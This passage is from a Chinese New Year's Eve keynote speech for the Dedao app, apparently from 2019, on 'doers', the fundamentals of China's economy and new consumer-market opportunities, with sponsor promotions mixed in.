+国际政治学家施展会回答，中国制造世界工厂的地位会被替代吗？ + +接下来，这场跨年演讲，会用一晚上的时间，来看看这些老师带回来的答案。 + +刚才说的是你的问题，我们一会儿再来回答。先说一个我的问题：搞清楚跨年演讲是为谁服务的。 + +去年，我们讲了一个词，叫“做事的人”。 一年间，我遇到好多人，都说对这个词特别有认同感。但这个词还是面目很模糊，今年我打算给它画一个像。 + +先说两件事吧。说完这画像就拼出来了。 + +第一件事，是关于图书馆的。 + +2019年，我听到一个数，说有一家地级市的图书馆，才100多名工作人员，一年办了5000场活动。这个数给我惊到了。什么概念？你算下来，平均一天可是13场还多。这家图书馆就是浙江嘉兴图书馆。 + +图书馆，这个东西好像已经很多年不在我们视野里了。在我们心目中，它应该是一个冷清的地方。嘉兴图书馆为什么这么热闹？5000场活动都干了啥？ + +我们自己可以先在脑子里想想，比如针对老年人，你要是办活动，你能想到的题目是啥？琴棋书画？养生保健？你看，想象力差了点吧。因为在很多人的心目中，老年人是退出了社会参与的一群人，找个乐子，打发时间，安度晚年就行了。 + +但是，嘉兴图书馆可不是想，他们是真干。一干就知道，根本就不是这么回事。 + +首先，很少有老年人会报名参加一个带“老年”字样的活动。更重要的是，老年人恰恰需要的是社会参与啊。所以，他们为老年人开发的讲座活动是：怎么用智能手机？学会了智能手机，就可以查公交线路了，可以淘宝购物了，甚至可以自己上淘宝卖货了。 + +最受欢迎的讲座，你可能想不到，是怎么做电子相册。拍照片，选照片，配音乐，上字幕，发到微信群里，做完特别有成就感。这是老年人力所能及的一项创造性活动。 + +你看，就是这样通过在真实世界的摸索，嘉兴图书馆一年办出了5000场活动。 + +什么叫“做事的人”？他们不是在解决一个个想象中的问题，他们是在回应一个个真实世界的挑战。 + +我认同这件事，但是到底怎么做呢？我怎么回应真实世界的挑战呢？ + +这个人大家都认识，国民励志大IP——曾国藩。 + +今年，我偶然翻到他讲的一个故事。农村里，有个人出门，看到在一条很窄的田埂上，俩人顶上了，谁也不让谁，谁也过不去。为什么不让呢？因为俩人都挑着很沉的担子，路太窄了，谁要让，谁就得从田埂上下去，站到水田里，沾一脚泥。 + +你作为一个旁观者，想上去劝，咋劝呢？ + +你说，这位年纪大，你下去，让他先过。他会说，凭啥。 + +你说，这位身上的担子重，你下去，让他先过。他还会说，凭啥。 + +你看，这不就顶死了吗？ + +那曾国藩的故事里，这个旁观者是怎么做的呢？ + +他走上前去说，来来来，我下到田里，你把担子交给我，我替你挑会儿，你这一侧身，不就过去了吗？ + +你看，只要你的身份稍稍转换一点，从一个旁观者，变成一个置身其中的人，把自己放进去，是不是一个看似无解的事，就有了答案？ + +曾国藩管这种方法叫：躬身入局。 + +什么叫“做事的人”？不是置身事外，指点江山。而是躬身入局，把自己放进去，把自己变成解决问题的关键变量。 + +刚才讲了两个故事，其实都在分辨，做事的人和其他人的区别。做什么样的事？回应真实挑战的事。当什么样的人？躬身入局的人。 + +但是，用“做事的人”来形容你们，还是觉得有点不到位。我得找到一个新词。 + +有一天我的同事，得到大学的教研长蔡钰给我讲了一部老电影《风声》里的一句台词：“只因民族已到存亡之际，我辈只能奋不顾身。” + +她记了这句话十年，只因为其中那个词：“我辈”。她说：我辈这两个字里，写着对世界的主场感和建设性。无论哪个时代，我辈都是最令人神往的那群人。 + +“我辈”也就是个代词，本来没啥意义，但是每个人都能感受到，这两个字里面有一种骄傲的认同感。 + +这个词的认同感是能够穿越时间的。就像我追问嘉兴图书馆的时候，我问他们：你们为什么会干得这么好？他们的答案居然是：我们可是中国最早的一批现代图书馆，1904年就成立了。 + +你看，这就是我辈应该有的回答。往时光纵深里一看，好像是历代先贤，把什么东西交到了我们这辈人手上。 + +我辈也能跨越空间。这样的人，这样的事，什么地方都有，什么领域都有。就像我刚才讲到的那些人，你可能这一辈子也不会认识他们。但是，听到他们做的事情，我相信在场的、在网络和电视机前的、在这个跨年夜不看歌舞节目，而一起思考碰撞的人，你们都会会心一笑：此乃我辈中人。 + +你不要以为这是我的发明，我辈这种人，什么时候开始有的？从我们这个民族精神发源的地方，我辈这种人就有了。 + +西方经常说，我们中国人没有信仰。但是，中国人没有信仰么？今年我看到一段话，如果你把中国那些最著名的神话，真的排出来，你会发现这样一组故事：盘古开天，女娲补天，后羿射日，夸父追日，精卫填海，愚公移山，大禹治水。 + +你发现什么共同点么？中国人从来不臣服于压倒性的力量，而是在面对一个不可能战胜的对手的时候，明知不可为而为之。 + +好，回到现在，2019年，回到年末的最后几个小时，无论遇到什么样的挑战，你说我辈怎么办？ + +你看看，我们中国人就这样，明知不可为而为之。 + +跨年演讲为谁服务？就是为你们这样的人服务的。 + +法国作家加缪曾经说过：不要走在我后面，因为我可能不会引路。不要走在我前面，因为我可能不会跟随。请走在我的身边，做我的朋友。 + +请走在我的身边，谢谢你，各位时间的朋友。 + +第二部分：什么是中国经济的基本盘 + +来听跨年演讲的人，心中一定有一个问题：中国经济到底怎么样？ + +你要是问我预测，我是真不会，那是经济学家的工作。 + +你要问我个人感受，可能我20年都这一句话：我辈正处于一个持续上升的通道中。 + +经济不是预测出来的，是干出来的。如果你觉得好，不错，如果觉得不好，那就努力干。 + +刚才说的是个态度问题，下面我们来看事实。 + +关于中国经济，反正我听到的来自两个方面的事实都有。 + +你要说中国经济不好，一大堆事实。往这边看： + +汽车市场，连续增长了28年，2019年下滑了约10%。 + +有类似遭遇的行业还有很多，家电、服装、广告等等。是不是今年有些行业真的就不好了？ + +还有个词叫“爆雷”，2019年想必你们隔三岔五就会听说一次。 + +我不知道你还听到了哪些。反正关于中国经济不好的事实，这张单子要列，还能列很长。 + +但是，我们再回头看这边。你要说中国经济好，也有一大堆事实： + +今年天猫双十一成交额2684亿，同比增长25.7%。 + +中国最大的贸易伙伴美国，那么铁了心地打压中国出口，中国出口还增长了，连份额都是增长的。 + +如果你对这事感兴趣，你可以翻翻社科文献出版社最新出版的《经济蓝皮书》。 + +看完之后你会发现，如果你想论证中国经济好，可以找到一堆事实，如果想论证它不好，也可以找到一堆事实。 + +但是我想提醒的是，其实观察2019年中国经济的角度不仅是好和坏、乐观还是悲观，还有好多角度。 + +比如，曾鸣教授说：“容易赚的钱肯定是没了，往后大家都得做更辛苦的事。” + +更辛苦的事是什么？曾鸣教授还有进一步的解释，他说：你别以为到下沉市场就算更辛苦了，也别以为找细分需求就算更辛苦了，这都不算。真正的机会是，改造每一个值得被重构的传统产业，这才是一件具备创造力的"苦差事"。 + +你看，在曾鸣教授的眼里，中国经济有冷有热，不是个总体上的好坏问题，而是一个干什么事情和怎么干的问题。肯干苦差事，就有机会，只想挣容易的钱，就没机会。 + +慈善家王兵提醒了我一个角度，2019年的经济现象，背后本质上是因为技术进步的速度太快，而社会演化的速度太慢，这二者之间产生了摩擦。 + +比如说，很多人年到半百还要闹离婚，为啥？因为医学技术进步了，百岁人生变得可能成为常态，一对夫妻五六十还闹离婚，很正常，原来忍忍就结束了，现在还要再忍五六十年，忍不了了。你看他说的是个时代错位问题，也不是个悲观乐观问题。 + +再比如，商业观察家梁宁说，有人给她看了一份100多个陷入困境的公司的清单，她发现了一个问题：每个陷入困境的公司，同行里都有对应的正面典型。 + +做保健酒的椰岛鹿龟酒陷入困境，但是主打健康概念的食品开始爆发。 + +做饮料的汇源果汁陷入了困境，但是一批年轻态的饮品，开始异军突起。 + +都说服装不行，李宁变成了中国李宁，火了，成了国潮。 + +梁宁说背后的原因是市场人口换代了。你知道吗？很多人都忽略了一件事，现在生活在中国这片国土上的人，改革开放后出生的人，超过了之前的。 + +你看，她说的是个人口结构问题，也不是个总体上的好和坏、悲观乐观的问题。 + +而吴伯凡老师面对我的这个问题，给出的答案更有趣，他甩了一句话给我：2019年就是典型的“悖论之年”，好坏都有。 + +我追问：那到底是好还是坏？吴伯凡老师说，这个问题你问错了，或者说你对悖论这个词就没理解。 + +悖论这个词不是说两个观点不一致，所以其中一个肯定不合理，而是在说世界本来就这样，两个不一致的观念和真相是可以并行的。 + +你必须整体地接受这一堆混合在一起的事实，而且你还得有能力同时多角度地观察它。所以它不是一个好坏问题，而是一个观察方法的问题。 + +还有，投资人张颖也提示了一个角度，我觉得也很有意思。 + +张颖今年下半年有一段时间，天天组织人看电影，连拉带拽，动员所有创业者，都去看一部纪录片——《徒手攀岩》。 + +为什么呢？咱们先来一起欣赏一下。 + +这个岩壁叫酋长岩，高914米，是全世界最难攀登的岩壁之一。这部片子拍的是全世界最著名的攀岩运动员Alex从准备到行动，最终徒手挑战酋长岩成功的过程。注意，是徒手，没有任何绳索和保护措施。 + +那张颖为什么这么积极地拉人看这部纪录片呢？他是一个投资人，他其实在跟这个时代的创业者说：徒手攀岩的过程不是克服困难，而是习惯困难。 + +我理解，张颖还有另外一个意思，就是中国经济到了一个节点，就是从一个模式要转换到另一个模式，我称之为：从电梯模式切换为攀岩模式。 + +什么意思？所谓电梯指的就是，那些稳定的、确切的通道。过去我们理解这个世界的方式，只要搭上电梯，就能往上走，而且非常确定：好好学习，就能考上好大学；学历越高，就越能进好单位；进了好单位，就肯定比卖口红的挣钱多，今年这话，你在李佳琦面前再说说试试？ + +现在的中国已经切换到攀岩模式，下一步往哪里爬，每一步都在考验我们的创造力和选择能力。 + +刚才我们讲的这几位老师的看法，没有一个用“好”或者“不好”这个简单的方法来判断中国。 + +说到这里，请允许我再次隆重地为你介绍何帆老师。他是我们派出去的六路研究队伍中的第一队。走访了40多座城市，数十个产业，采访近300人。 + +我还要表达一份感谢，今年特别幸运，我们的整个研究计划得到了一批优秀企业的支持，他们成为了我们的知识合作伙伴。何帆老师的这项研究，是由我们的老朋友，百年泸州老窖窖龄酒支持的，感谢他们。 + +说起何帆老师，你应该知道。去年，何帆老师发了一个大愿，要用30年的时间，去记录中国那些正在发生的变化。 + +我每次想到这件事内心都特别高兴，20年的跨年演讲对我是个巨大的挑战，但是何帆老师的挑战比我还持久。等我61岁完成最后一场跨年演讲，我会笑着看他说：哥，我干完了，您继续。30年啊，何帆老师要用一个人的长期主义，去对冲这个世界的不确定性。 + +在这里，我们特别感谢何帆老师，也向长期主义致敬。 + +今年，何帆老师带回的这份报告是《中国经济报告》。 + +他用一年的时间，走访大江南北。看看支撑我们中国经济走到今天的基本盘到底是什么？在这个基本盘上，我们又该怎么行动? + +现在这份报告已经在得到App上线，何帆老师的《变量2》由中信出版社出版，今天起已经可以在当当买到。 + +来，立即拿下何帆老师的报告。见证这份长期主义的坚持，也为自己2020年的徒手攀岩准备一份地图。 + +看完这份报告和这本书，反正我是有这样的感受：在这个时代的中国，从电梯模式切换到攀岩模式，其实没有我们想象的那么难。 + +提到中国经济的基本盘，我们首先会想到这些—— + +极其完备的基础设施、全球最大的供应链体系、世界最大的统一市场、从未中断的文明共识，当然，这一切都离不开这个国家超强的社会组织能力。 + +所有这些，其实就一件事：超大规模。理解中国经济基本盘，必须把超大规模作为一个前提。 + +但是我们就停留在这里么？肯定不行啊。我们还得往深了想。 + +超大规模仅仅意味着是大、是多么？不，它还意味着另外一件事：复杂。复杂意味着什么？就像在攀岩的时候，地形越复杂，抓手就越多，向上攀援越容易。所以我提个醒，你在看何帆老师这本新书的时候，多关注一下他论述复杂性的那个部分。 + +我们来看看复杂性是怎么成就中国这一代人的。 + +我们这一代人大多数是从农村来到城市，从小地方来到大地方，很少有谁一步到位。但是每走一步，这个社会都能给我们提供落脚点和抓手--就像攀岩的岩壁上充满了抓手和歇脚的地方。 + +你就想，今天一个农村男孩来到上海打拼，没学历、没技术，当个快递员总还是可以的，人老实肯干，大几千的收入还是有的，这不就待下了么？然后站在这个点上往下一步进发，能学个手艺、入个行当吗？能好好干，当上主管吗？ + +这个人大家认识么？杀猪的。 + +不认识也很正常，因为他上一次火还是16年前。媒体上称他为：北大屠夫，陆步轩。媒体报道他，就是因为大家惊讶地发现，一个北大中文系的高才生，居然沦落到卖猪肉。 + +我们可以回到当时的情景，对于这个人的处境最善意的理解也就是：行行都一样，不分高低贵贱。你是不是觉得，一个卖猪肉的，也就只能那样了。 + +但是这两年，他又火了，因为他卖猪肉干大了，成了一名卖猪肉的企业家。根据媒体报道，2018年他们公司销售收入有18个亿。 + +你就看他这前半辈子，从边远的农村，考上了北大中文系，在当年就算是坐上电梯了吧？不好使啊。没找着合适的工作。就耗着么？没有啊。从电梯里出来，哪怕上菜市场卖肉，也有机会。这就是最后一站了吗？也不是。也还可以继续往前走，把卖肉的摊子发展成为一个正规的企业。当上企业家，就可以享受了吗？还是没有啊。你知道他现在在干什么吗？在抖音上当网红呢，跟现在的年轻人聊聊猪肉，聊聊人生，发一条短视频就有好几十万人点赞。 + +无论你从哪个角度看，陆步轩的故事在中国都非常常见。 + +你看一个人的一生，哪里是一个简单的标签、一部直达的电梯就能解释的，复杂得很呢。这就是我们中国社会复杂性所带来的各种各样的抓手。 + +当然我知道，我一讲陆步轩，就有人说那他是赶上了创业大潮，又赶上了猪肉涨价，是个幸存者偏差。那我们看一下30年前，和他一起在北大食堂打饭的同学们还有谁？ + +张益唐，数学家； + +李彦宏，百度公司的创始人； + +西川，著名诗人； + +陈涌海，物理学家； + +郁亮，万科集团董事长； + +宣明栋，得到App总编室主任。 + +那你要非得说，他是北大毕业生，一般人没这机会，你看这几位： + +米雯娟，VIPKID的创始人，没上过大学； + +张勇，海底捞的创始人，没上过大学； + +李想，车和家的创始人，没上过大学； + +黄章，魅族的创始人，没上过大学； + +还有这位，国民女神，老干妈的创始人陶华碧女士。众所周知，没上过什么学。 + +这就是中国，无论你身处哪个位置，你都不能说自己没有机会。 + +什么是好的时代，就是走在街上，我们不敢小瞧任何一个人。因为“今天你对我爱答不理，明天我让你高攀不起”。 + +其实不光是个人，回顾今天我们做成的很多事，都是这么过来的。 + +来，说一个何帆老师报告中的案例。我们来看一座小镇的故事。这座小镇就是乌镇。 + +乌镇知道吧？办世界互联网大会的地方。乌镇有个有意思的地方。它分东栅和西栅。 + +东栅是原生的自然市场，和我们上海周边很多的古镇一样，家家户户搞旅游：开客栈、办餐厅、卖特产，今天尝试个这，明天尝试个那，充满了活力和烟火气。 + +而西栅呢，把原住民迁出去，雇佣成员工，统一规划，整体升级。举办互联网大会的地方是西栅，去过的朋友都知道，门外是江南水乡，门内是Wi-Fi大床。 + +东栅全是自家生意，充满了能动性和灵活，什么容易赚钱，游客喜欢什么，东栅最容易嗅到风向，动作最快。但同时天花板也明显，商品服务同质化，追求短期效应。 + +所以，如果没有西栅，陡然提升了这个古镇旅游服务的基础设施，秩序和标准。你看到的乌镇就是中国无数此类景区的一个，一样的小桥流水，一样的旅游纪念品，不会是今天这个脱颖而出的古镇旅游的旗舰。 + +我们再看，你会觉得乌镇就是中国的某种缩影，有人在前面探路，自由自在，但也承担代价，有人在后面修路，把探路出来的成果，固化为基础设施。 + +不断地寻找抓手，走一步，踩实一步，再寻觅下一个抓手。一步一步地往上走。这整个过程，不也是在徒手攀岩么？ + +你回到观念世界，还有这样的争论——自由市场好还是强管理强规划好，但是在现实世界里没有任何矛盾。 + +熟悉中国的人都知道，浦东、深圳都是这样出来的，有探路的有修路的。 + +塔勒布说：世界上有两种人，一种想赢，一种想赢得辩论。每当我们陷入纠结的时候，就想想乌镇。在乌镇外的人还在为两种模式哪个好搞辩论时，乌镇则早已开干，管他呢，反正乌镇真想赢。 + +这种复杂性还不仅体现在空间上，还体现在时间上，乌镇为什么叫古镇呢？几百年前的东西，当然也是我们今天的抓手。 + +说到这里，我要正式感谢一下何帆老师这支调研团队今年的“知识合作伙伴”， 感谢百年泸州老窖窖龄酒。 + +他们对《中国经济报告》这个项目的支持，使我们今天可以收获这么多全新的研究成果。他们之所以选择支持这个项目，就是因为特别认同何帆老师的研究主题词：“基本盘”。百年泸州老窖窖龄酒帮助了我们。我特别诚心诚意地向大家介绍他们。老窖人恪守匠人精神，选择已经不间断使用了90年以上的泥窖窖池进行酿造，窖泥中所富含的微生物，使得他们酿出的酒特别的香，这也是百年泸州老窖窖龄酒的“基本盘”。 + +泸州老窖最自豪的就是自己几百年前一直沿用到今天的窖池。无论你对白酒的了解有多少，你说在宴席上，把酒斟满，端起来，好朋友跟你说，这个是近500年的窖池酿出来的酒，你说这酒里是不是凭空就多了一份郑重和敬意。谢谢他们。 + +你看，有这种复杂性的国家，当然就能出现一种新的成功模式，何帆老师称之为：在复杂环境里的演化算法。 + +后来，何帆老师还拿“演化算法”这个词请教生物学家王立铭教授。 + +王立铭教授说：对啊，演化算法是地球上唯一可靠的成功学。 + +我们面对这么一个岩壁，有那么多抓手，面对中国的复杂性的时候，我辈应该采取的姿势是什么？ + +何帆老师在最新的报告中提出了一个词：苟且红利，意思是虽然看起来所有人都在做事，但是其中有大量的苟且者。你只要稍微比他们往前一点点，就能享受到的那个红利，就是苟且红利。 + +我们稍有成就的人，可以扪心自问，我们的那些成就真的是因为天赋异禀么？不是，是因为我们在某些时刻，比别人稍微认真了一丢丢，这就足够了。在攀岩时代的中国，咱们比周边人认真一丢丢，这就足够了。别人的苟且，成就了我们的努力。所以苟且红利准确来说，应该是不苟且红利。 + +我给你举个例子：前几天，我打了辆专车。估计很多人都打过。下车的时候，司机都会要你给个好评。因为五星好评对司机很重要，能被优先派单。很多人没给，往往是因为下车的时候，忙忙叨叨给忘了。而那天我见的那位司机呢，你看他这一通操作： + +首先，离我们家还有二三百米的时候，他非常有礼貌地和我说，我提前给你结束行程，少收你点钱。听到这句话，你肯定觉得，占便宜了。 + +我正要说谢谢呢，紧接着，这位司机就和我说了一句话，麻烦您，如果您方便的话，能不能给我点一个五星好评？ + +你看，这话一出口，我人还在车上，正好还有空，刚占了人一便宜，不点还是人吗？ + +你看，就这么一个简单动作，我心里对他顿生敬意。我就坐他这一回车，都没跟他聊过天，但我心里知道，这人对他的工作不苟且，同行业面对的共同问题，他会想一个办法解决它，这样的人一定在这一行里出类拔萃，收入一定高。哪怕将来改个行，他照样有前途。 + +我们是不是从小到大，走南闯北，到处能够遇到这样的人？何帆老师书和课程里写了好多，你要看这样的例子，可以去找。 + +这就是我们的中国。每个人都能找到自己的着力点。往旁边看一看，迈出这么一小步，这就是你向上攀岩的着力点。 + +读完何帆老师的报告，我就下定了一个决心。 + +虽然我是一个特别不擅长社交的人，但是2020年，我能不能把自己从现状上优化一下，给自己下个命令：每个星期约一个和我工作无关的人，跟他吃个饭，聊个天。 + +而且不是为了办什么具体事情，只为了从他身上学到一点我陌生的东西。我在想，如果2020年我真的严格执行了，我会不一样。这会成为我在这块岩石上攀岩的下一个抓手。 + +我自己准备这么去做，我提议大家一起也可以找一个自己的小抓手。为了我们彼此看到，得到做了一个小工具，叫时间胶囊。你可以把这个计划，甭管是去上一个学、去参加一个比赛、去学一门手艺、去认识一个早就想认识但还没有认识的人都行，都可以记在时间胶囊里。 + +明年的今天，时间胶囊会提醒你，看看你做到了没有。我们一起互相监督，好不好？ + +我知道说到这里，你还不过瘾，你老想找何帆老师要个答案，要个对未来的预测， + +但是就像互联网思想家尼葛洛庞帝那句话所说的：预测未来的最好办法，就是把它创造出来。 + +第三部分：消费市场有什么新机会 + +刚才我们说到，中国像一个攀岩胜地，到处都有抓手，可以让我们向上攀爬。但是，机会到底在哪呢？ + +过去我们一说到机会，无论是作为一个从业者还是创业者，我们总是关注那些新事物，觉得越新，机会就越大。比如，互联网、人工智能、大数据、区块链，等等。其实，归根结底，我们就是怕自己掉队，怕没赶上风口。 + +但是，总是忙着赶新风口，我们就容易忽略一个非常确定的机会，那就是，消费。你想，不管什么时候，老百姓总是要追求更美好的生活嘛。消费，这个机会，就像房间里的大象，非常庞大，人们却经常看不见。 + +你知道吗，2019年发生了一件事，今年中国社会消费品零售总额将超过40万亿人民币。这意味着，中国即将超过美国，成为全球第一大消费市场。而且中国现在的年均增速，是美国的两倍多。也就是说，从2019年开始，我们的消费能力不仅会向全世界最强迈进，而且还会越来越强。 + +其实不仅如此，投资人李丰还提醒我：我们不光是消费能力强，我们的供给能力还强，我们拥有全世界最大最完整的供应链，不光需求供给都强，我们的效率提升还非常快。我们在以人工智能和大数据为代表的，新一代技术的应用和转化速度上也是首屈一指的。 + +你看，最大的供给，最大的需求，最快的效率提升，这三个变量同时集中在一个国家、一个市场，这在人类历史上是极其罕见的。会发生什么呢？结果一定会超出我们的预想。 + +为了回答这个问题，今年的跨年演讲，我们专门委托投资人黄海，看了1000多个消费项目，为你带回了一份关于中国消费市场的调查报告，叫做《中国消费产业报告》。 + +现在已经在得到App上线。当然我们更要感谢支持黄海老师这个研究计划的知识合作伙伴：国际高端家电品牌，卡萨帝。 + +黄海老师下了一个判断：中国消费市场正在多点爆发。 + +从黄海老师带回来的信息看，中国的消费市场，那可真叫全面爆发。我们经常说年轻品牌在崛起，今年，为老年人服务的品牌也在大量爆发。老年人专用的鞋、老年人的纸尿裤、老年人的度假养老社区都非常火爆。 + +你说下沉市场越来越好，正新大鸡排的门店数量都超过了麦当劳，做刨冰起家的蜜雪冰城的门店数量也超过了星巴克。 + +但是，高端市场也一路高歌猛进。比如，我们公司门口的那家高端商城SKP，店庆一天卖了10个亿，比历史最高水平增长了30%。还有进口电动车特斯拉今年也一直在增长。 + +尤其是，国际高端家电品牌卡萨帝增幅超过40%，要知道它可是在高端市场份额已经第一，单价最高的情况下，还达到了市场增速第一。 + +卡萨帝之所以要支持今年跨年演讲这一部分，就是想告诉大家，中国的消费市场有很多局部非常好，只要你能洞察到消费者的需求。比如说，卡萨帝就是在14年前，所有人都认为中国市场只需要更便宜的产品的时候，清楚地感知到了消费者对品质生活升级的需求，坚持做高端原创产品，从智慧产品到智慧生活场景的打造，成就了今天的国际高端家电品牌，成为近年中国家电消费市场的一剂强心针。 + +现象大家都已经看到了，比如，网红带货，宠物经济，盲盒炒鞋，奶茶轻食，等等等等。 + +但是，真的是这样吗？那咱们就来说说，这个消费市场，和你有什么关系？有哪些抓手是可以帮助每一个人往上爬的？ + +在黄海老师的报告中，我们看到，至少有三个巨大的机会。 + +先说第一个机会，新基础设施。 + +什么意思呢？咱们从一个现象说起。 + +今年的天猫彩妆品牌冠军是谁呢？是巴黎欧莱雅吗？是雅诗兰黛吗？他们是第二第三名，那第一名是谁呢？完美日记，一个全新的中国品牌。 + +更有意思的点是他们的历史：巴黎欧莱雅112年，雅诗兰黛73年，而完美日记只有2年。 + +你知道2年这个数字背后的震撼是什么吗？如果倒转几年前，做一个新品牌，干个实业，2年，你连工厂投产都不可能。更别说，做品牌、通渠道、上规模这些事情，那都是需要花时间才能熬出来的。为什么完美日记只花2年时间就能当第一呢？ + +它一定是借助了什么东西。这个东西就是我们刚才说的，中国新基础设施。 + +基础设施指的可不仅仅是铁路、公路和机场。它指的是一个创新者可以放心甩出去，让别人干的所有事。你只要站在它的肩头，就能比原来好。 + +我们还是拿中国化妆品来举例子。在今天中国的市场上，你要想做一个新的化妆品品牌，很多事你不用自己做了。你只需要做好一件事，那就是，定义好你的不可外包的核心能力。比如，洞察用户、连接用户、把用户服务好，剩下的所有研发设计、制造、物流、营销平台，都有现成的基础设施为你提供全套解决方案。 + +来，我们再看一眼中国的新基础设施—— + +我有个想法，这个想法怎么变成货呢？中国庞大的制造业实力是我的后盾。 + +货在哪儿卖？中国强大的电商平台就是我的基础设施，通过它，我可以触达8亿用户。 + +电商争气，但是这事就完了吗？电商平台的下面是发达的物流体系。1美金的平均快递成本就可以通运全国。这事在全世界都是奇迹。在西方城市消费，小费只给1美金都不好意思。 + +今年崛起了很多雪糕品牌，你觉得是什么原因？是品牌厉害吗？不是，是冷链厉害。大夏天的网上可以买雪糕，送到你手里的时候，还冻得很结实。你想想这背后是多么恐怖的物流能力。 + +那再往下看呢？中国物流的下面，是持续几十年没有间断的村村通工程的结果。在这么大范围的国土上，每一个村子都要做到通电、通路、通网络。 + +你知道吗？在一些边远地区，仅仅为了实现通电目标，每户的投资平均是4万块钱，要是靠收电费的话要100年都收不回成本。 + +有了这些基础设施，哪怕你身处在一个偏远的农村，只要你懂需求、会表达、能沟通，你都可以把这些基础设施利用起来，成为你自己的抓手。把茄子辣椒西红柿卖出个花来。就地致富，就地崛起。 + +最近一年，有1900万人从快手平台获得收入，国家级贫困县在快手的卖货人数，达到115万人。 + +所以，当我们乐乐呵呵地在抖音和快手上看农村小哥带货、卖当地土特产的时候，你只要抽身一看，你看到的是一个全球唯一的，一层一层累加的，规模、深度、复杂性都极其恐怖的新基础设施体系。 + +这是一场席卷我辈的完美机会风暴。 + +这是第一个机会，中国的新基础设施。 + +再来看第二个机会，咱们还是从一个场景说起。2018年2月，有一个中国品牌来到了纽约时装周。他们做了一件简单粗暴的事情，4个中国字，四四方方，绣在胸前。 + +就这么个设计，好看不好看，见仁见智。但就这么一个设计在中国的社交媒体上炸了。疯狂转发的是谁？年轻人，95后。他们很多人甚至不知道李宁是何方神圣。他们只是单纯觉得，胸前那四个方方正正的汉字“中国李宁”，好酷啊，厉害啊。 + +2019年李宁最潮的一款鞋，是纽约时装周上推出的“悟道”系列。你知道00后们对“悟道”最大的赞誉是什么吗，除了其中的二次元精神，还有一个我怎么也想不到的词：“踩屎感”。什么意思？就是走路时感觉鞋子又软又跟脚，就像踩在屎上一样。 + +如果你去翻翻李宁的天猫店评论，你会发现好多年轻人在赞美这种踩屎感。比如这么一个评论：“吹爆这款悟道！不仅颜值高而且走路超级舒服的，鞋底是软的，用我朋友的话说就是走路的时候就像是踩在屎上一样有质感。总之吹爆李宁！吹爆二次元悟道！国货牛逼！” + +你看，这就是“中国李宁”这个品牌，在年轻一代消费者心里的样子。 + +凭借“中国李宁”这个子品牌，李宁公司沉寂多年之后，销售额首次进入百亿人民币俱乐部，股价涨了三倍。请问怎么解释这件事？ + +你想，李宁那可是一个30年的老企业。不是没遇到过低谷。什么突围路径没有想过？尝试过国际化吧，品牌上甚至连一个汉字都没有，结果后路反而被晋江系运动服品牌给抄了。也尝试过取悦年轻人，甚至把品牌改成“90后李宁”，结果呢，消费者不买账啊。 + +万没想到，真正的解决方案居然就在他们出发的地方——中国。从李宁到中国李宁。把中国两个字堂堂皇皇地写在胸口，瞬间引爆了当代年轻人内心原有的那份骄傲和认同。 + +唯一合理的解释，也是四个字——中国红利。 + +今天几乎所有的消费品类，都迎来了一个通过中国红利而再做一遍的机会。 + +来，让我们再看一遍我们出发的地方。 + +对我们四十岁以上的人来说，中国这个词非常复杂，我们从小就学习中国地大物博、人口众多。我们的处境从落后挨打、到奋起直追。选国货，一方面是爱国，一方面是便宜。 + +但是，对于十几二十岁的年轻人来说，中国的概念非常简单啊，我的祖国，厉害啊，我自豪啊。你就想今天的一个中国年轻人，出国他能体验到啥？即便去到发达国家，外卖不方便吧？好多地方没Wi-fi吧？高铁少吧？因为没有移动支付出门还得带现金吧？ + +他们从小在这个环境里长大，对国家有一种天然的认同感。当然，等他们更成熟，也会意识到，我们要向世界学习的地方还有很多。但是，中国这个词，以及背后的那一整套文化符号，对他们的吸引力，是原生的，是天然的。这一代的年轻人以他们喜欢的方式，和我们的文化传承接上了脉。 + +2019年，淘宝上好几家汉服店，销售额不声不响都过了亿，最多的一家一年卖了4个亿，买家都是年轻人。你怎么解释？只有一个解释，因为中国文化符号。 + +过去这些年，产业界一直在讨论我们怎么做文创产业的问题：去日本学，去法国学。万没想到，600年的故宫成了文创产业的头号大IP。故宫IP带火了一批网红爆款，带背包、带胶带、带口红、带月饼，好像什么都能带。你怎么解释？只有一个解释，因为中国文化符号。 + +连华为这样的科技公司，在为下一代产品注册商标的时候，也恨不得注册了一本《山海经》。全都是这样的词，操作系统叫鸿蒙，实验室叫玄武。可能有的词我们都不认识，但是这样的字眼总让我们内心澎湃。你怎么解释？只有一个解释，因为中国文化符号。 + +这就是中国红利。这个红利，人人有份。它是几千年来中国文化源远流长，在这个时代喷涌而出，可以最快地唤起我们内心深处的认同。只要在这个国家里，都能把它变成自己的抓手。 + +好，新基础设施和中国红利，这两个抓手我们看到了。那还能再往上走吗？能，只不过非常难。 + +得到App总编辑李翔过去一年一直在做一件事，研究历史上那些巨富的产生。他告诉我，巨大的财富创造过程中，必然伴随着整个社会结构和人们生活习惯的变化，这一定会带来一批世界性品牌的崛起。 + +那这些品牌一旦崛起之后，会有什么结果呢？我们来看一组数据。截至2019年12月28日，耐克市值1265亿美金，宝洁3144亿美金，可口可乐2371亿美金，星巴克1040亿美金，雀巢3166亿。动辄千亿的价值啊。我们老觉得只有做科技互联网才能做大。但是中国那么多科技公司，只有阿里和腾讯市值超过了1000亿美金。 + +那中国这一轮崛起成就的世界品牌呢？我们不知道他是谁，诞生在什么领域，大概率知道他是我辈中人。没准，他正在听这场跨年演讲。 + +你可能会说，建设一个国际品牌，这能做到吗？太难了。今年，我听梁宁老师讲到一套方法论。这个事，其实只需要，花力气，花时间。我们不是没机会。 + +这套方法总结成一句话就是：检验品牌，就是你愿意和它自拍。 + +比如，你想喝咖啡了，自己点一杯，这未必是品牌。但是，你愿意带你的朋友，一起去某个咖啡店喝一杯，这就是品牌。 + +再比如，你买了一双球鞋，自己跑步的时候穿，这未必是品牌。但是，你买了之后愿意拍一张照片，并且晒到朋友圈，这就是品牌。 + +走路上突然想上厕所，没有公共厕所，这时候你只看到一家中餐厅和一家肯德基，你说你会去哪家上厕所？大概率是肯德基，但你琢磨过为什么？ + +很简单，你和中餐厅之间，除了消费没有别的关系，但是你和肯德基之间，有很多层次的关系，你和它的互动没有任何负担，这就是品牌。 + +前段时间，我们公司的快刀青衣玩命给我推荐一款手游，想把我给拉进去。他的理由居然不是游戏好玩不好玩，而是玩这个游戏的人都特别好玩。这个游戏叫《率土之滨》。 + 